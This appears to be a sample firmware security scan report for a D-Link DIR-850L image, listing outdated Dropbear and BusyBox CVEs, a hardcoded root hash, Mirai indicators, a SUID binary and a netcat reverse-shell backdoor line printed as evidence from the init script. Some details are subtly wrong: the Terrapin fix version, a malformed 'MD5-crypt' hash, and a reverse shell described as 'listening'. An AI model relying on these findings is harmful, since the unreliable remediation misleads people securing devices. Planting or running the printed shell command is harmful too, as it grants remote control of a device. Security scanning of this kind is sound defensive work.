IoT Firmware Security Report

Scan ID: sample-scan-vulnerable-001 | Generated: 2026-10-21

Executive Summary

Firmware Name: dlink_dir850l_firmware_v1.20.bin
Format: SquashFS image (16.00 MB)
SHA-256: b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9
Architecture: MIPS (32-bit) | OS: Embedded Linux 3.10
Extraction: Extracted 1 layer via unsquashfs (420 files recovered)
Risk Assessment: 100/100 [CRITICAL Risk] | Malware Indicators: 3

Identified Software Components & Vulnerabilities

• dropbear (v2020.81) — 1 CVE match(es) correlated
• busybox (v1.34.0) — 1 CVE match(es) correlated

Vulnerability & Risk Findings (6)

[HIGH] CVE-2023-48795 in Dropbear SSH v2020.81

Category: Outdated/Vulnerable Software | Path: /usr/sbin/dropbear
CVE: CVE-2023-48795 | Confidence: high
Component: dropbear 2020.81 | Source: CVE Database Lookup
Summary: Terrapin Attack: General protocol flaw in SSH BPP allows MITM attackers to truncate extension negotiation packets and manipulate state.
Evidence: /usr/sbin/dropbear (embedded version banner: Dropbear_2020.81)
Remediation: Upgrade Dropbear to version 2022.82 or later and disable vulnerable CBC ciphers.

[HIGH] CVE-2022-30065 in BusyBox v1.34.0

Category: Outdated/Vulnerable Software | Path: /bin/busybox
CVE: CVE-2022-30065 | Confidence: high
Component: busybox 1.34.0 | Source: CVE Database Lookup
Summary: Use-after-free vulnerability in Busybox awk parser allows remote attackers to trigger denial of service or arbitrary code execution.
Evidence: /bin/busybox (embedded version string: BusyBox v1.34.0)
Remediation: Upgrade BusyBox to version 1.36.0 or apply vendor backported patch for awk copyvar.

[CRITICAL] Hardcoded root account MD5 crypt hash in /etc/shadow

Category: Hardcoded Credentials | Path: /etc/shadow
Detection Source: Sensitive credentials pattern scan
Summary: A hardcoded root password hash (1admin$xyz123) was detected with weak hashing algorithm (MD5-crypt).
Evidence: root:1admin$xyz123:18000:0:99999:7:::
Remediation: Remove default/hardcoded passwords and mandate unique per-device passwords generated at manufacturing.

[CRITICAL] Reverse Shell Backdoor Command in /etc/init.d/rcS

Category: Dangerous Commands/Code Execution Indicators | Path: /etc/init.d/rcS
Detection Source: reverse-shell pattern scan
Summary: Interactive netcat reverse shell discovered listening and piping to /bin/sh.
Evidence: /bin/busybox nc -e /bin/sh 192.168.1.50 4444 &
Remediation: Quarantine infected binary and investigate build pipeline for unauthorized backdoor injection.

[CRITICAL] Mirai Botnet Indicators in /bin/busybox

Category: Dangerous Commands/Code Execution Indicators | Path: /bin/busybox
Detection Source: YARA Scanner
Summary: YARA rule matched Mirai botnet propagation and attack signatures.
Evidence: YARA Rule [YARA_MIRAI_STRINGS] matched on /bin/busybox
Remediation: Quarantine infected binary and update upstream toolchain.

[MEDIUM] SetUID Root Binary on /usr/bin/passwd

Category: Insecure File Permissions | Path: /usr/bin/passwd
Detection Source: filesystem attribute analysis
Summary: SetUID bit set on root-owned executable accessible to all local users.
Evidence: mode: -rwsr-xr-x (04755)
Remediation: Verify necessity of SUID permissions on embedded devices with single-user firmware.